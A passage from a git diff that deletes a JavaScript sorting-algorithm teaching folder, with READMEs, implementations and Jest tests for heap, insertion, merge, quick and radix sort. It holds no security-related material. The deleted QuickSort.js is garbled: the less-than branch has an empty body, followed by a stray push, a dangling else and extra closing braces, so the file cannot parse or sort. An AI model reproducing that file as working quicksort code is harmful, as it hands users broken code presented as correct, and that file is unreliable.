-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/heap-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/heap-sort/README.md
deleted file mode 100644
index 616b80a76d..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/heap-sort/README.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# Heap Sort
-
-Heapsort is a comparison-based sorting algorithm.
-Heapsort can be thought of as an improved selection
-sort: like that algorithm, it divides its input into
-a sorted and an unsorted region, and it iteratively
-shrinks the unsorted region by extracting the largest
-element and moving that to the sorted region. The
-improvement consists of the use of a heap data structure
-rather than a linear-time search to find the maximum.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/1/1b/Sorting_heapsort_anim.gif)
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/4/4d/Heapsort-example.gif)
-
-## Complexity
-
-| Name          |     Best      |    Average    |     Worst     | Memory | Stable | Comments |
-| ------------- | :-----------: | :-----------: | :-----------: | :----: | :----: | :------- |
-| **Heap sort** | n&nbsp;log(n) | n&nbsp;log(n) | n&nbsp;log(n) |   1    |   No   |          |
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Heapsort)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/heap-sort/test/HeapSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/heap-sort/test/HeapSort.test.js
deleted file mode 100644
index 785472ea7a..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/heap-sort/test/HeapSort.test.js
+++ /dev/null
@@ -1,32 +0,0 @@
-import HeapSort from '../HeapSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-// These numbers don't take into account up/dow heapifying of the heap.
-// Thus these numbers are higher in reality.
-const SORTED_ARRAY_VISITING_COUNT = 40;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 40;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 40;
-const EQUAL_ARRAY_VISITING_COUNT = 40;
-describe('HeapSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(HeapSort);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(HeapSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(HeapSort);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(HeapSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(HeapSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(HeapSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(HeapSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/InsertionSort.js b/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/InsertionSort.js
deleted file mode 100644
index 14de891147..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/InsertionSort.js
+++ /dev/null
@@ -1,23 +0,0 @@
-import Sort from '../Sort';
-export default class InsertionSort extends Sort {
-    sort(originalArray) {
-        const array = [...originalArray];
-        // Go through all array elements...
-        for (let i = 1; i < array.length; i += 1) {
-            let currentIndex = i;
-            // Call visiting callback.
-            this.callbacks.visitingCallback(array[i]);
-            // Check if previous element is greater than current element.
-            // If so, swap the two elements.
-            while (array[currentIndex - 1] !== undefined && this.comparator.lessThan(array[currentIndex], array[currentIndex - 1])) {
-                // Call visiting callback.
-                this.callbacks.visitingCallback(array[currentIndex - 1]);
-                // Swap the elements.
-                [array[currentIndex - 1], array[currentIndex]] = [array[currentIndex], array[currentIndex - 1]];
-                // Shift current index left.
-                currentIndex -= 1;
-            }
-        }
-        return array;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/README.md
deleted file mode 100644
index 3b7bac2bbb..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/README.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Insertion Sort
-
-Insertion sort is a simple sorting algorithm that builds
-the final sorted array (or list) one item at a time.
-It is much less efficient on large lists than more
-advanced algorithms such as quicksort, heapsort, or merge
-sort.
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/4/42/Insertion_sort.gif)
-
-![Algorithm Visualization](https://upload.wikimedia.org/wikipedia/commons/0/0f/Insertion-sort-example-300px.gif)
-
-## Complexity
-
-| Name               | Best |    Average    |     Worst     | Memory | Stable | Comments |
-| ------------------ | :--: | :-----------: | :-----------: | :----: | :----: | :------- |
-| **Insertion sort** |  n   | n<sup>2</sup> | n<sup>2</sup> |   1    |  Yes   |          |
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Insertion_sort)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/test/InsertionSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/test/InsertionSort.test.js
deleted file mode 100644
index 63a0090791..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/insertion-sort/test/InsertionSort.test.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import InsertionSort from '../InsertionSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 19;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 100;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 209;
-const EQUAL_ARRAY_VISITING_COUNT = 19;
-describe('InsertionSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(InsertionSort);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(InsertionSort);
-    });
-    it('should do stable sorting', () => {
-        SortTester.testSortStability(InsertionSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(InsertionSort);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(InsertionSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(InsertionSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(InsertionSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(InsertionSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/merge-sort/MergeSort.js b/docs/content/DS_ALGO/algorithms/sorting/merge-sort/MergeSort.js
deleted file mode 100644
index 339d32b0cf..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/merge-sort/MergeSort.js
+++ /dev/null
@@ -1,46 +0,0 @@
-import Sort from '../Sort';
-export default class MergeSort extends Sort {
-    sort(originalArray) {
-        // Call visiting callback.
-        this.callbacks.visitingCallback(null);
-        // If array is empty or consists of one element then return this array since it is sorted.
-        if (originalArray.length <= 1) {
-            return originalArray;
-        }
-        // Split array on two halves.
-        const middleIndex = Math.floor(originalArray.length / 2);
-        const leftArray = originalArray.slice(0, middleIndex);
-        const rightArray = originalArray.slice(middleIndex, originalArray.length);
-        // Sort two halves of split array
-        const leftSortedArray = this.sort(leftArray);
-        const rightSortedArray = this.sort(rightArray);
-        // Merge two sorted arrays into one.
-        return this.mergeSortedArrays(leftSortedArray, rightSortedArray);
-    }
-    mergeSortedArrays(leftArray, rightArray) {
-        const sortedArray = [];
-        // Use array pointers to exclude old elements after they have been added to the sorted array.
-        let leftIndex = 0;
-        let rightIndex = 0;
-        while (leftIndex < leftArray.length && rightIndex < rightArray.length) {
-            let minElement = null;
-            // Find the minimum element between the left and right array.
-            if (this.comparator.lessThanOrEqual(leftArray[leftIndex], rightArray[rightIndex])) {
-                minElement = leftArray[leftIndex];
-                // Increment index pointer to the right
-                leftIndex += 1;
-            } else {
-                minElement = rightArray[rightIndex];
-                // Increment index pointer to the right
-                rightIndex += 1;
-            }
-            // Add the minimum element to the sorted array.
-            sortedArray.push(minElement);
-            // Call visiting callback.
-            this.callbacks.visitingCallback(minElement);
-        }
-        // There will be elements remaining from either the left OR the right
-        // Concatenate the remaining elements into the sorted array
-        return sortedArray.concat(leftArray.slice(leftIndex)).concat(rightArray.slice(rightIndex));
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/merge-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/merge-sort/README.md
deleted file mode 100644
index 72421c033f..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/merge-sort/README.md
+++ /dev/null
@@ -1,34 +0,0 @@
-# Merge Sort
-
-In computer science, merge sort (also commonly spelled
-mergesort) is an efficient, general-purpose,
-comparison-based sorting algorithm. Most implementations
-produce a stable sort, which means that the implementation
-preserves the input order of equal elements in the sorted
-output. Mergesort is a divide and conquer algorithm that
-was invented by John von Neumann in 1945.
-
-An example of merge sort. First divide the list into
-the smallest unit (1 element), then compare each
-element with the adjacent list to sort and merge the
-two adjacent lists. Finally all the elements are sorted
-and merged.
-
-![Merge Sort](https://upload.wikimedia.org/wikipedia/commons/c/cc/Merge-sort-example-300px.gif)
-
-A recursive merge sort algorithm used to sort an array of 7
-integer values. These are the steps a human would take to
-emulate merge sort (top-down).
-
-![Merge Sort](https://upload.wikimedia.org/wikipedia/commons/e/e6/Merge_sort_algorithm_diagram.svg)
-
-## Complexity
-
-| Name           |     Best      |    Average    |     Worst     | Memory | Stable | Comments |
-| -------------- | :-----------: | :-----------: | :-----------: | :----: | :----: | :------- |
-| **Merge sort** | n&nbsp;log(n) | n&nbsp;log(n) | n&nbsp;log(n) |   n    |  Yes   |          |
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Merge_sort)
--   [YouTube](https://www.youtube.com/watch?v=KF2j-9iSf4Q&index=27&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/merge-sort/test/MergeSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/merge-sort/test/MergeSort.test.js
deleted file mode 100644
index 1634f3573d..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/merge-sort/test/MergeSort.test.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import MergeSort from '../MergeSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 79;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 102;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 87;
-const EQUAL_ARRAY_VISITING_COUNT = 79;
-describe('MergeSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(MergeSort);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(MergeSort);
-    });
-    it('should do stable sorting', () => {
-        SortTester.testSortStability(MergeSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(MergeSort);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(MergeSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(MergeSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(MergeSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(MergeSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/QuickSort.js b/docs/content/DS_ALGO/algorithms/sorting/quick-sort/QuickSort.js
deleted file mode 100644
index 9f9351f5cf..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/QuickSort.js
+++ /dev/null
@@ -1,40 +0,0 @@
-import Sort from '../Sort';
-export default class QuickSort extends Sort {
-    /**
-     * @param {*[]} originalArray
-     * @return {*[]}
-     */
-    sort(originalArray) {
-        // Clone original array to prevent it from modification.
-        const array = [...originalArray];
-        // If array has less than or equal to one elements then it is already sorted.
-        if (array.length <= 1) {
-            return array;
-        }
-        // Init left and right arrays.
-        const leftArray = [];
-        const rightArray = [];
-        // Take the first element of array as a pivot.
-        const pivotElement = array.shift();
-        const centerArray = [pivotElement];
-        // Split all array elements between left, center and right arrays.
-        while (array.length) {
-            const currentElement = array.shift();
-            // Call visiting callback.
-            this.callbacks.visitingCallback(currentElement);
-            if (this.comparator.equal(currentElement, pivotElement)) {
-                centerArray.push(currentElement);
-            } else if (this.comparator.lessThan(currentElement, pivotElement)) {}
-            leftArray.push(currentElement);
-        } else {
-            rightArray.push(currentElement);
-        }
-    }
-    // Sort left and right arrays.
-    const leftArraySorted = this.sort(leftArray);
-    const rightArraySorted = this.sort(rightArray);
-    // Let's now join sorted left array with center array and with sorted right array.
-    return leftArraySorted.concat(centerArray, rightArraySorted);
-}
-}
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/QuickSortInPlace.js b/docs/content/DS_ALGO/algorithms/sorting/quick-sort/QuickSortInPlace.js
deleted file mode 100644
index b7f79ace7e..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/QuickSortInPlace.js
+++ /dev/null
@@ -1,65 +0,0 @@
-import Sort from '../Sort';
-export default class QuickSortInPlace extends Sort {
-    /** Sorting in place avoids unnecessary use of additional memory, but modifies input array.
-     *
-     * This process is difficult to describe, but much clearer with a visualization:
-     * @see: http://www.algomation.com/algorithm/quick-sort-visualization
-     *
-     * @param {*[]} originalArray - Not sorted array.
-     * @param {number} inputLowIndex
-     * @param {number} inputHighIndex
-     * @param {boolean} recursiveCall
-     * @return {*[]} - Sorted array.
-     */
-    sort(originalArray, inputLowIndex = 0, inputHighIndex = originalArray.length - 1, recursiveCall = false) {
-        // Copies array on initial call, and then sorts in place.
-        const array = recursiveCall ? originalArray : [...originalArray];
-        /**
-         * The partitionArray() operates on the subarray between lowIndex and highIndex, inclusive.
-         * It arbitrarily chooses the last element in the subarray as the pivot.
-         * Then, it partially sorts the subarray into elements than are less than the pivot,
-         * and elements that are greater than or equal to the pivot.
-         * Each time partitionArray() is executed, the pivot element is in its final sorted position.
-         *
-         * @param {number} lowIndex
-         * @param {number} highIndex
-         * @return {number}
-         */
-        const partitionArray = (lowIndex, highIndex) => {
-            /**
-             * Swaps two elements in array.
-             * @param {number} leftIndex
-             * @param {number} rightIndex
-             */
-            const swap = (leftIndex, rightIndex) => {
-                const temp = array[leftIndex];
-                array[leftIndex] = array[rightIndex];
-                array[rightIndex] = temp;
-            };
-            const pivot = array[highIndex];
-            // visitingCallback is used for time-complexity analysis.
-            this.callbacks.visitingCallback(pivot);
-            let partitionIndex = lowIndex;
-            for (let currentIndex = lowIndex; currentIndex < highIndex; currentIndex += 1) {
-                if (this.comparator.lessThan(array[currentIndex], pivot)) {
-                    swap(partitionIndex, currentIndex);
-                    partitionIndex += 1;
-                }
-            }
-            // The element at the partitionIndex is guaranteed to be greater than or equal to pivot.
-            // All elements to the left of partitionIndex are guaranteed to be less than pivot.
-            // Swapping the pivot with the partitionIndex therefore places the pivot in its
-            // final sorted position.
-            swap(partitionIndex, highIndex);
-            return partitionIndex;
-        };
-        // Base case is when low and high converge.
-        if (inputLowIndex < inputHighIndex) {
-            const partitionIndex = partitionArray(inputLowIndex, inputHighIndex);
-            const RECURSIVE_CALL = true;
-            this.sort(array, inputLowIndex, partitionIndex - 1, RECURSIVE_CALL);
-            this.sort(array, partitionIndex + 1, inputHighIndex, RECURSIVE_CALL);
-        }
-        return array;
-    }
-}
diff --git a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/quick-sort/README.md
deleted file mode 100644
index 3009f64e61..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/README.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# Quicksort
-
-Quicksort is a divide and conquer algorithm.
-Quicksort first divides a large array into two smaller
-sub-arrays: the low elements and the high elements.
-Quicksort can then recursively sort the sub-arrays
-
-The steps are:
-
-1. Pick an element, called a pivot, from the array.
-2. Partitioning: reorder the array so that all elements with
-   values less than the pivot come before the pivot, while all
-   elements with values greater than the pivot come after it
-   (equal values can go either way). After this partitioning,
-   the pivot is in its final position. This is called the
-   partition operation.
-3. Recursively apply the above steps to the sub-array of
-   elements with smaller values and separately to the
-   sub-array of elements with greater values.
-
-Animated visualization of the quicksort algorithm.
-The horizontal lines are pivot values.
-
-![Quicksort](https://upload.wikimedia.org/wikipedia/commons/6/6a/Sorting_quicksort_anim.gif)
-
-## Complexity
-
-| Name           |     Best      |    Average    |     Worst     | Memory | Stable | Comments                                                      |
-| -------------- | :-----------: | :-----------: | :-----------: | :----: | :----: | :------------------------------------------------------------ |
-| **Quick sort** | n&nbsp;log(n) | n&nbsp;log(n) | n<sup>2</sup> | log(n) |   No   | Quicksort is usually done in-place with O(log(n)) stack space |
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Quicksort)
--   [YouTube](https://www.youtube.com/watch?v=SLauY6PpjW4&index=28&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/test/QuickSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/quick-sort/test/QuickSort.test.js
deleted file mode 100644
index 11a5f95f3b..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/test/QuickSort.test.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import QuickSort from '../QuickSort';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 190;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 62;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 190;
-const EQUAL_ARRAY_VISITING_COUNT = 19;
-describe('QuickSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(QuickSort);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(QuickSort);
-    });
-    it('should do stable sorting', () => {
-        SortTester.testSortStability(QuickSort);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(QuickSort);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSort, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSort, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSort, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSort, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/test/QuickSortInPlace.test.js b/docs/content/DS_ALGO/algorithms/sorting/quick-sort/test/QuickSortInPlace.test.js
deleted file mode 100644
index b20387d397..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/quick-sort/test/QuickSortInPlace.test.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import QuickSortInPlace from '../QuickSortInPlace';
-import { equalArr, notSortedArr, reverseArr, sortedArr, SortTester } from '../../SortTester';
-// Complexity constants.
-const SORTED_ARRAY_VISITING_COUNT = 19;
-const NOT_SORTED_ARRAY_VISITING_COUNT = 12;
-const REVERSE_SORTED_ARRAY_VISITING_COUNT = 19;
-const EQUAL_ARRAY_VISITING_COUNT = 19;
-describe('QuickSortInPlace', () => {
-    it('should sort array', () => {
-        SortTester.testSort(QuickSortInPlace);
-    });
-    it('should sort array with custom comparator', () => {
-        SortTester.testSortWithCustomComparator(QuickSortInPlace);
-    });
-    it('should sort negative numbers', () => {
-        SortTester.testNegativeNumbersSort(QuickSortInPlace);
-    });
-    it('should visit EQUAL array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSortInPlace, equalArr, EQUAL_ARRAY_VISITING_COUNT);
-    });
-    it('should visit SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSortInPlace, sortedArr, SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit NOT SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSortInPlace, notSortedArr, NOT_SORTED_ARRAY_VISITING_COUNT);
-    });
-    it('should visit REVERSE SORTED array element specified number of times', () => {
-        SortTester.testAlgorithmTimeComplexity(QuickSortInPlace, reverseArr, REVERSE_SORTED_ARRAY_VISITING_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/radix-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/radix-sort/README.md
deleted file mode 100644
index 457f9e9482..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/radix-sort/README.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# Radix Sort
-
-In computer science, **radix sort** is a non-comparative integer sorting
-algorithm that sorts data with integer keys by grouping keys by the individual
-digits which share the same significant position and value. A positional notation
-is required, but because integers can represent strings of characters
-(e.g., names or dates) and specially formatted floating point numbers, radix
-sort is not limited to integers.
-
-_Where does the name come from?_
-
-In mathematical numeral systems, the _radix_ or base is the number of unique digits,
-including the digit zero, used to represent numbers in a positional numeral system.
-For example, a binary system (using numbers 0 and 1) has a radix of 2 and a decimal
-system (using numbers 0 to 9) has a radix of 10.
-
-## Efficiency
-
-The topic of the efficiency of radix sort compared to other sorting algorithms is
-somewhat tricky and subject to quite a lot of misunderstandings. Whether radix
-sort is equally efficient, less efficient or more efficient than the best
-comparison-based algorithms depends on the details of the assumptions made.
-Radix sort complexity is `O(wn)` for `n` keys which are integers of word size `w`.
-Sometimes `w` is presented as a constant, which would make radix sort better
-(for sufficiently large `n`) than the best comparison-based sorting algorithms,
-which all perform `O(n log n)` comparisons to sort `n` keys. However, in
-general `w` cannot be considered a constant: if all `n` keys are distinct,
-then `w` has to be at least `log n` for a random-access machine to be able to
-store them in memory, which gives at best a time complexity `O(n log n)`. That
-would seem to make radix sort at most equally efficient as the best
-comparison-based sorts (and worse if keys are much longer than `log n`).
-
-![Radix Sort](https://www.researchgate.net/publication/291086231/figure/fig1/AS:614214452404240@1523451545568/Simplistic-illustration-of-the-steps-performed-in-a-radix-sort-In-this-example-the.png)
-
-## Complexity
-
-| Name           |  Best  | Average | Worst  | Memory | Stable | Comments                  |
-| -------------- | :----: | :-----: | :----: | :----: | :----: | :------------------------ |
-| **Radix sort** | n \* k | n \* k  | n \* k | n + k  |  Yes   | k - length of longest key |
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Radix_sort)
--   [YouTube](https://www.youtube.com/watch?v=XiuSW_mEn7g&index=62&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [ResearchGate](https://www.researchgate.net/figure/Simplistic-illustration-of-the-steps-performed-in-a-radix-sort-In-this-example-the_fig1_291086231)
diff --git a/docs/content/DS_ALGO/algorithms/sorting/radix-sort/RadixSort.js b/docs/content/DS_ALGO/algorithms/sorting/radix-sort/RadixSort.js
deleted file mode 100644
index a7ec4c6b10..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/radix-sort/RadixSort.js
+++ /dev/null
@@ -1,132 +0,0 @@
-import Sort from '../Sort';
-// Using charCode (a = 97, b = 98, etc), we can map characters to buckets from 0 - 25
-const BASE_CHAR_CODE = 97;
-const NUMBER_OF_POSSIBLE_DIGITS = 10;
-const ENGLISH_ALPHABET_LENGTH = 26;
-export default class RadixSort extends Sort {
-    /**
-     * @param {*[]} originalArray
-     * @return {*[]}
-     */
-    sort(originalArray) {
-        // Assumes all elements of array are of the same type
-        const isArrayOfNumbers = this.isArrayOfNumbers(originalArray);
-        let sortedArray = [...originalArray];
-        const numPasses = this.determineNumPasses(sortedArray);
-        for (let currentIndex = 0; currentIndex < numPasses; currentIndex += 1) {
-            const buckets = isArrayOfNumbers ?
-                this.placeElementsInNumberBuckets(sortedArray, currentIndex) :
-                this.placeElementsInCharacterBuckets(sortedArray, currentIndex, numPasses);
-
-            // Flatten buckets into sortedArray, and repeat at next index
-            sortedArray = buckets.reduce((acc, val) => {
-                return [...acc, ...val];
-            }, []);
-        }
-        return sortedArray;
-    }
-    /**
-     * @param {*[]} array
-     * @param {number} index
-     * @return {*[]}
-     */
-    placeElementsInNumberBuckets(array, index) {
-        // See below. These are used to determine which digit to use for bucket allocation
-        const modded = 10 ** (index + 1);
-        const divided = 10 ** index;
-        const buckets = this.createBuckets(NUMBER_OF_POSSIBLE_DIGITS);
-        array.forEach((element) => {
-            this.callbacks.visitingCallback(element);
-            if (element < divided) {
-                buckets[0].push(element);
-            } else {
-                /**
-                 * Say we have element of 1,052 and are currently on index 1 (starting from 0). This means
-                 * we want to use '5' as the bucket. `modded` would be 10 ** (1 + 1), which
-                 * is 100. So we take 1,052 % 100 (52) and divide it by 10 (5.2) and floor it (5).
-                 */
-                const currentDigit = Math.floor((element % modded) / divided);
-                buckets[currentDigit].push(element);
-            }
-        });
-        return buckets;
-    }
-    /**
-     * @param {*[]} array
-     * @param {number} index
-     * @param {number} numPasses
-     * @return {*[]}
-     */
-    placeElementsInCharacterBuckets(array, index, numPasses) {
-        const buckets = this.createBuckets(ENGLISH_ALPHABET_LENGTH);
-        array.forEach((element) => {
-            this.callbacks.visitingCallback(element);
-            const currentBucket = this.getCharCodeOfElementAtIndex(element, index, numPasses);
-            buckets[currentBucket].push(element);
-        });
-        return buckets;
-    }
-    /**
-     * @param {string} element
-     * @param {number} index
-     * @param {number} numPasses
-     * @return {number}
-     */
-    getCharCodeOfElementAtIndex(element, index, numPasses) {
-        // Place element in last bucket if not ready to organize
-        if (numPasses - index > element.length) {
-            return ENGLISH_ALPHABET_LENGTH - 1;
-        }
-        /**
-         * If each character has been organized, use first character to determine bucket,
-         * otherwise iterate backwards through element
-         */
-        const charPos = index > element.length - 1 ? 0 : element.length - index - 1;
-        return element.toLowerCase().charCodeAt(charPos) - BASE_CHAR_CODE;
-    }
-    /**
-     * Number of passes is determined by the length of the longest element in the array.
-     * For integers, this log10(num), and for strings, this would be the length of the string.
-     */
-    determineNumPasses(array) {
-        return this.getLengthOfLongestElement(array);
-    }
-    /**
-     * @param {*[]} array
-     * @return {number}
-     */
-    getLengthOfLongestElement(array) {
-        if (this.isArrayOfNumbers(array)) {
-            return Math.floor(Math.log10(Math.max(...array))) + 1;
-        }
-        return array.reduce((acc, val) => {
-            return val.length > acc ? val.length : acc;
-        }, -Infinity);
-    }
-    /**
-     * @param {*[]} array
-     * @return {boolean}
-     */
-    isArrayOfNumbers(array) {
-        // Assumes all elements of array are of the same type
-        return this.isNumber(array[0]);
-    }
-    /**
-     * @param {number} numBuckets
-     * @return {*[]}
-     */
-    createBuckets(numBuckets) {
-        /**
-         * Mapping buckets to an array instead of filling them with
-         * an array prevents each bucket from containing a reference to the same array
-         */
-        return new Array(numBuckets).fill(null).map(() => []);
-    }
-    /**
-     * @param {*} element
-     * @return {boolean}
-     */
-    isNumber(element) {
-        return Number.isInteger(element);
-    }
-}
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/algorithms/sorting/radix-sort/test/RadixSort.test.js b/docs/content/DS_ALGO/algorithms/sorting/radix-sort/test/RadixSort.test.js
deleted file mode 100644
index 8e60f479ee..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/radix-sort/test/RadixSort.test.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import RadixSort from '../RadixSort';
-import { SortTester } from '../../SortTester';
-// Complexity constants.
-const ARRAY_OF_STRINGS_VISIT_COUNT = 24;
-const ARRAY_OF_INTEGERS_VISIT_COUNT = 77;
-describe('RadixSort', () => {
-    it('should sort array', () => {
-        SortTester.testSort(RadixSort);
-    });
-    it('should visit array of strings n (number of strings) x m (length of longest element) times', () => {
-        SortTester.testAlgorithmTimeComplexity(RadixSort, ['zzz', 'bb', 'a', 'rr', 'rrb', 'rrba'], ARRAY_OF_STRINGS_VISIT_COUNT);
-    });
-    it('should visit array of integers n (number of elements) x m (length of longest integer) times', () => {
-        SortTester.testAlgorithmTimeComplexity(RadixSort, [3, 1, 75, 32, 884, 523, 4343456, 232, 123, 656, 343], ARRAY_OF_INTEGERS_VISIT_COUNT);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/sorting/selection-sort/README.md b/docs/content/DS_ALGO/algorithms/sorting/selection-sort/README.md
deleted file mode 100644
index 3553642d94..0000000000
--- a/docs/content/DS_ALGO/algorithms/sorting/selection-sort/README.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# Selection Sort
-
-Selection sort is a sorting algorithm, specifically an
